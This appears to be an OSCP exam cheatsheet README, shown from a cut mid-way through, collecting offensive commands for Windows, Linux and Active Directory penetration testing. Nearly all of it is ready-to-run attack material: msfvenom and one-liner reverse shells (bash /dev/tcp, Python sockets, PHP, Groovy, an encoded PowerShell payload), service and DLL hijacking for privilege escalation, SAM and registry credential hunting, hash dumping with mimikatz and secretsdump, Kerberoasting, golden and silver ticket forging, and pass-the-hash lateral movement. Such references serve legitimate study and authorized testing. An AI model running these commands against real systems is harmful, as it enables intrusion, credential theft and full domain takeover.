sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp" #/var/www/html/tmp is the writable folder on target, hence we're writing there

Exploitation

Finding Exploits

Searchsploit

searchsploit <name>
searchsploit -m windows/remote/46697.py #Copies the exploit to the current location

Reverse Shells

Msfvenom

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php

One Liners

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
<?php echo shell_exec('bash -i >& /dev/tcp/10.11.0.106/443 0>&1');?>
#For powershell use the encrypted tool that's in Tools folder

💡 While dealing with PHP reverse shell use: [https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php)

Groovy reverse-shell

For Jenkins

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Windows Privilege Escalation

💡 `cd C:\ & findstr /SI /M "OS{" *.xml *.ini *.txt` - for finding files which contain OSCP flag..

Manual Enumeration commands

#Groups we're part of
whoami /groups

whoami /all #lists everything we own.

#Starting, Restarting and Stopping services in Powershell
Start-Service <service>
Stop-Service <service>
Restart-Service <service>

#Powershell History
Get-History
(Get-PSReadlineOption).HistorySavePath #displays the path of consoleHost_history.txt
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

#Viewing installed execuatbles
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

#Process Information
Get-Process
Get-Process | Select ProcessName,Path

#Sensitive info in XAMPP Directory
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue #this for a specific user

#Service Information
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Automated Scripts

winpeas.exe
winpeas.bat
Jaws-enum.ps1
powerup.ps1
PrivescCheck.ps1

Token Impersonation

Command to check whoami /priv

#Printspoofer
PrintSpoofer.exe -i -c powershell.exe 
PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd"

#RoguePotato
RoguePotato.exe -r <AttackerIP> -e "shell.exe" -l 9999

#GodPotato
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "shell.exe"

#JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "shell.exe" -a

#SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
#writes whoami command to w.log file

Services

Binary Hijacking

#Identify service from winpeas
icalcs "path" #F means full permission, we need to check we have full access on the folder
sc qc <servicename> #find binary path variable
sc config <service> <option>="<value>" #change the path to the reverse shell location
sc start <servicename>

Unquoted Service Path

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """  #Displays services which has missing quotes, this can slo be obtained by running WinPEAS
#Check the Writable path
icalcs "path"
#Insert the payload in writable location and which works.
sc start <servicename>

Insecure Service Executables

#In Winpeas look for a service which has the following
File Permissions: Everyone [AllAccess]
#Replace the executable in the service folder and start the service
sc start <service>

Weak Registry permissions

#Look for the following in Winpeas services info output
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl]) #This means we have full access

accesschk /acceptula -uvwqk <path of registry> #Check for KEY_ALL_ACCESS

#Service Information from regedit, identify the variable that holds the executable
reg query <reg-path>

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
#Imagepath is the variable here

net start <service>

DLL Hijacking

Find Missing DLLs using Process Monitor, Identify a specific service that looks suspicious, and add a filter.
Check whether you have write permissions in the directory associated with the service.

# Create a reverse-shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attaker-IP> LPORT=<listening-port> -f dll > filename.dll

Copy it to the victim machine and then move it to the service-associated directory.(Make sure the dll name is similar to the missing name)
Start the listener and restart the service; you'll get a shell.

Autorun

#For checking, it will display some information with file-location
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

#Check the location is writable
accesschk.exe \accepteula -wvu "<path>" #returns FILE_ALL_ACCESS

#Replace the executable with the reverseshell and we need to wait till Admin logins, then we'll have shell

AlwaysInstallElevated

#For checking, it should return 1 or Ox1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

#Creating a reverseshell in msi format
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> --platform windows -f msi > reverse.msi

#Execute and get shell
msiexec /quiet /qn /i reverse.msi

Schedules Tasks

schtasks /query /fo LIST /v #Displays list of scheduled tasks, Pickup any interesting one
#Permission check - Writable means exploitable!
icalcs "path"
#Wait till the scheduled task in executed, then we'll get a shell

Startup Apps

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp #Startup applications can be found here
#Check writable permissions and transfer
#The only catch here is the system needs to be restarted

Insecure GUI apps

#Check the applications that are running from "TaskManager" and obtain list of applications that are running as Privileged user
#Open that particular application, using "open" feature enter the following
file://c:/windows/system32/cmd.exe

SAM and SYSTEM

Check in the following folders

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

C:\windows.old

#First go to c:
dir /s SAM
dir /s SYSTEM

Obtaining Hashes from SYSTEM and SAM

impacket-secretsdump -system SYSTEM -sam SAM local #always mention local in the command
#Now a detailed list of hashes are displayed

Passwords

Sensitive files

findstr /si password *.txt  
findstr /si password *.xml  
findstr /si password *.ini  
Findstr /si password *.config 
findstr /si pass/pwd *.ini  

dir /s *pass* == *cred* == *vnc* == *.config*  

in all files  
findstr /spin "password" *.*  
findstr /spin "password" *.*

Config files

c:\sysprep.inf  
c:\sysprep\sysprep.xml  
c:\unattend.xml  
%WINDIR%\Panther\Unattend\Unattended.xml  
%WINDIR%\Panther\Unattended.xml  

dir /b /s unattend.xml  
dir /b /s web.config  
dir /b /s sysprep.inf  
dir /b /s sysprep.xml  
dir /b /s *pass*  

dir c:\*vnc.ini /s /b  
dir c:\*ultravnc.ini /s /b   
dir c:\ /s /b | findstr /si *vnc.ini

Registry

reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

#Putty keys
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

### VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"  
reg query "HKCU\Software\TightVNC\Server"  

### Windows autologin  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"  

### SNMP Parameters  
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"  

### Putty  
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"  

### Search for the password in the registry  
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s

RunAs - Savedcreds

cmdkey /list #Displays stored credentials looks for any optential users
#Transfer the reverseshell
runas /savecred /user:admin C:\Temp\reverse.exe

Pass the Hash

#If hashes are obtained through some means, then use psexec and smbexec and obtain the shell as a different user.
pth-winexe -U JEEVES/administrator%aad3b43XXXXXXXX35b51404ee:e0fb1fb857XXXXXXXX238cbe81fe00 //10.129.26.210 cmd.exe

Linux Privilege Escalation

Privesc through TAR wildcard

TTY Shell

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system('/bin/bash')'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'

Basic

find / -writable -type d 2>/dev/null
dpkg -l #Installed applications on Debian system
cat /etc/fstab #Listing mounted drives
lsblk #Listing all available drives
lsmod #Listing loaded drivers

watch -n 1 "ps -aux | grep pass" #Checking processes for credentials
sudo tcpdump -i lo -A | grep "pass" #Password sniffing using tcpdump

Automated Scripts

linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggester

Sensitive Information

cat .bashrc
env #checking environment variables
watch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials
# Process-related information can also be obtained from PSPY

Sudo/SUID/Capabilities

GTFOBins

sudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null

Cron Jobs

#Detecting Cronjobs
cat /etc/crontab
crontab -l

pspy #handy tool to live monitor stuff happening in Linux

grep "CRON" /var/log/syslog #inspecting cron logs

NFS

##Mountable shares
cat /etc/exports #On target
showmount -e <target IP> #On attacker
###Check for "no_root_squash" in the output of shares

mount -o rw <targetIP>:<share-location> <directory path we created>
#Now create a binary there
chmod +x <binary>

Post Exploitation

This is more Windows-specific as exam-specific.

💡 Run WinPEAS.exe - This may give us some more detailed information as no, we’re a privileged user, and we can open several files, which gives us some edge!

Sensitive Information

Powershell History

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

#Example
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Searching for passwords

dir .s *pass* == *.config
findstr /si password *.xml *.ini *.txt

Searching in Registry for Passwords

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

💡 Always check document folders, they may contain some juicy files

KDBX Files

#These are KeyPassX password-stored files
cmd> dir /s /b *.kdbx 
Ps> Get-ChildItem -Recurse -Filter *.kdbx

#Cracking
keepass2john Database.kdbx > keepasshash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt keepasshash

Dumping Hashes

Use Mimikatz
If this is a domain-joined machine, run BloodHound.

Active Directory Pentesting

💡 We perform the following stuff once we’re in the AD network

Enumeration

net localgroup Administrators #to check local admins

Powerview

Import-Module .\PowerView.ps1 #loading module to powershell, if it gives an error then change the execution policy
Get-NetDomain #basic information about the domain
Get-NetUser #list of all users in the domain
# The above command's outputs can be filtered using "select" command. For example, "Get-NetUser | select cn", here cn is a sideheading for the output of the above command. we can select any number of them seperated by comma.
Get-NetGroup # enumerate domain groups
Get-NetGroup "group name" # information from specific group
Get-NetComputer # enumerate the computer objects in the domain
Find-LocalAdminAccess # scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain
Get-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSession, adding verbosity gives more info.
Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in domain
Get-ObjectAcl -Identity <user> # enumerates ACE(access control entities), lists SID(security identifier). ObjectSID
Convert-SidToName <sid/objsid> # converting SID/ObjSID to name 

# Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtoname
Get-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights 

Find-DomainShare #find the shares in the domain

Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roastable accounts

Get-NetUser -SPN | select serviceprincipalname #Kerberoastable accounts

Bloodhound

Collection methods - database

# Sharphound - transfer sharphound.ps1 into the compromised machine
Import-Module .\Sharphound.ps1 
Invoke-BloodHound -CollectionMethod All -OutputDirectory <location> -OutputPrefix "name" # collects and saved with the specified details, output will be saved in windows compromised machine

# Bloodhound-Python
bloodhound-python -u 'uname' -p 'pass' -ns <rhost> -d <domain-name> -c all #output will be saved in you kali machine

Running Bloodhound

sudo neo4j console
# then upload the .json files obtained

LDAPDOMAINDUMP

These files contain information in a well-structured webpage format.

sudo ldapdomaindump ldaps://<IP> -u 'username' -p 'password' #Do this in a new folder

PlumHound

Link: https://github.com/PlumHound/PlumHound install from the steps mentioned.
Keep both Bloodhound and Neo4j running as this tool acquires information from them.

sudo python3 plumhound.py --easy -p <neo4j-password> #Testing connection
python3 PlumHound.py -x tasks/default.tasks -p <neo4jpass> #Open index.html as once this command is completed it produces somany files
firefox index.html

PingCastle

www.pingcastle.com - Download Zip file from here.
This needs to be run on windows machine, just hit enter and give the domain to scan.
It gives a report at the end of the scan.

PsLoggedon

# To see user logons at remote system of a domain(external tool)
.\PsLoggedon.exe \\<computername>

GPP or CPassword

Impacket

# with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

# with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

# pass-the-hash (with an NT hash)
Get-GPPPassword.py -hashes :'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

# parse a local file
Get-GPPPassword.py -xmlfile '/path/to/Policy.xml' 'LOCAL'

SMB share - If SYSVOL share or any share which domain name as folder name

#Download the whole share
https://github.com/ahmetgurel/Pentest-Hints/blob/master/AD%20Hunting%20Passwords%20In%20SYSVOL.md
#Navigate to the downloaded folder
grep -inr "cpassword"

Crackmapexec

crackmapexec smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M gpp_password
crackmapexec smb <TARGET[s]> -u <USERNAME> -H LMHash:NTLMHash -d <DOMAIN> -M gpp_password

Decrypting the CPassword

gpp-decrypt "cpassword"

Attacking Active Directory

💡 Make sure you obtain all the relevant credentials from compromised systems, we cannot survive if we don’t have proper creds.

Zerologon

Exploit
We can dump hashes on target even without any credentials.

Password Spraying

# Crackmapexec - check if the output shows 'Pwned!'
crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d <domain> --continue-on-success #use continue-on-success option if it's subnet

# Kerbrute
kerbrute passwordspray -d corp.com .\usernames.txt "pass"

AS-REP Roasting

impacket-GetNPUsers -dc-ip <DC-IP> <domain>/<user>:<pass> -request #this gives us the hash of AS-REP Roastable accounts, from kali linux
.\Rubeus.exe asreproast /nowrap #dumping from compromised windows host

hashcat -m 18200 hashes.txt wordlist.txt --force # cracking hashes

Kerberoasting

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host, and saving with customname

impacket-GetUserSPNs -dc-ip <DC-IP> <domain>/<user>:<pass> -request #from kali machine

hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashes

Silver Tickets

Obtaining hash of an SPN user using Mimikatz

privilege::debug
sekurlsa::logonpasswords #obtain NTLM hash of the SPN account here

Obtaining Domain SID

ps> whoami /user
# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-1987370270-658905905-1781884369-1105" then the domain   SID is "S-1-5-21-1987370270-658905905-1781884369"

Forging silver ticket Ft Mimikatz

kerberos::golden /sid:<domainSID> /domain:<domain-name> /ptt /target:<targetsystem.domain> /service:<service-name> /rc4:<NTLM-hash> /user:<new-user>
exit

# we can check the tickets by,
ps> klist

Accessing service

ps> iwr -UseDefaultCredentials <servicename>://<computername>

Secretsdump

secretsdump.py <domain>/<user>:<password>@<IP>
secretsdump.py uname@IP -hashes lmhash:ntlmhash #local user
secretsdump.py domain/uname@IP -hashes lmhash:ntlmhash #domain user

Dumping NTDS.dit

secretsdump.py <domain>/<user>:<password>@<IP> -just-dc-ntlm
#use -just-dc-ntlm option with any of the secretsdump command to dump ntds.dit

Lateral Movement in Active Directory

psexec - smbexec - wmiexec - atexec

Here we can pass the credentials or even hash, depending on what we have

Always pass the full hash to these tools!

psexec.py <domain>/<user>:<password1>@<IP>
# the user should have write access to Admin share then only we can get sesssion

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

smbexec.py <domain>/<user>:<password1>@<IP>

smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

wmiexec.py <domain>/<user>:<password1>@<IP>

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>
#we passed full hash here

winrs

winrs -r:<computername> -u:<user> -p:<password> "command"
# run this and check whether the user has access on the machine, if you have access then run a powershell reverse-shell
# run this on windows session

crackmapexec

If stuck make use of Wiki

crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported services
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success # Bruteforcing attack, smb can be replaced. Shows "Pwned"
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success | grep '[+]' #grepping the way out!
crackmapexec smb <Rhost/range> -u user.txt -p 'password' --continue-on-success  #Password spraying, vice versa can also be done

#Try --local-auth option if nothing comes up
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --shares #lists all shares, provide creds if you have one
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --disks
crackmapexec smb <DC-IP> -u 'user' -p 'password' --users #we need to provide DC ip
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sessions #active logon sessions
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --pass-pol #dumps password policy
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sam #SAM hashes
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --lsa #dumping lsa secrets
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --ntds #dumps NTDS.dit file
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --groups {groupname} #we can also run with a specific group and enumerated users of that group.
crackmapexec smb <Rhost/range> -u 'user' -p 'password' -x 'command' #For executing commands, "-x" for cmd and "-X" for powershell command

#Pass the hash
crackmapexec smb <ip or range> -u username -H <full hash> --local-auth
#We can run all the above commands with hash and obtain more information

#crackmapexec modules
crackmapexec smb -L #listing modules
crackmapexec smb -M mimikatx --options #shows the required options for the module
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz #runs default command
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz -o COMMAND='privilege::debug' #runs specific command-M

Crackmapexec database

cmedb #to launch the console
help #run this command to view some others, running individual commands give infor on all the data till now we did.

Pass the ticket

.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$

DCOM

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))

$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...
AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")

Golden Ticket

Get the krbtgt hash

.\mimikatz.exe
privilege::debug
#below are some ways
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::dcsync /user:krbtgt

kerberos::purge #removes any exisiting tickets

#sample command
kerberos::golden /user:sathvik /domain:evilcorp.com /sid:S-1-5-21-510558963-1698214355-4094250843 /krbtgt:4b4412bbe7b3a88f5b0537ac0d2bf296 /ticket:golden

#Saved with name "golden" here, there are other options to check as well

Obtaining access!

mimikatz.exe #no need for highest privileges
kerberos::ptt golden
misc::cmd #we're accessing cmd

Shadow Copies

vshadow.exe -nw -p C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

Files

README.md

Latest commit

History

README.md

File metadata and controls

OSCP Cheatsheet

General

Important Locations

GitHub recon

Connecting to RDP

Adding SSH Public key

File Transfers

Windows to Kali

Adding Users

Windows

Linux

Password-Hash Cracking

fcrackzip

John

Hashcat

Pivoting through SSH

Dealing with Passwords

Impacket

Evil-Winrm

Mimikatz

Ligolo-ng

Recon and Enumeration

Port Scanning

FTP enumeration

SSH enumeration

SMB enumeration

HTTP/S enumeration

Wordpress

Drupal

Joomla

DNS enumeration

SMTP enumeration

LDAP Enumeration

NFS Enumeration

SNMP Enumeration

RPC Enumeration

Web Attacks

Directory Traversal

Local File Inclusion

SQL Injection

Exploitation

Finding Exploits

Searchsploit

Reverse Shells

Msfvenom

One Liners

Groovy reverse-shell

Windows Privilege Escalation

Manual Enumeration commands

Automated Scripts

Token Impersonation

Services

Binary Hijacking

Unquoted Service Path

Insecure Service Executables

Weak Registry permissions

DLL Hijacking

Autorun

AlwaysInstallElevated

Schedules Tasks

Startup Apps

Insecure GUI apps

SAM and SYSTEM

Passwords

Sensitive files

Config files

Registry

RunAs - Savedcreds

Pass the Hash

Linux Privilege Escalation

TTY Shell

Basic

Automated Scripts

Sensitive Information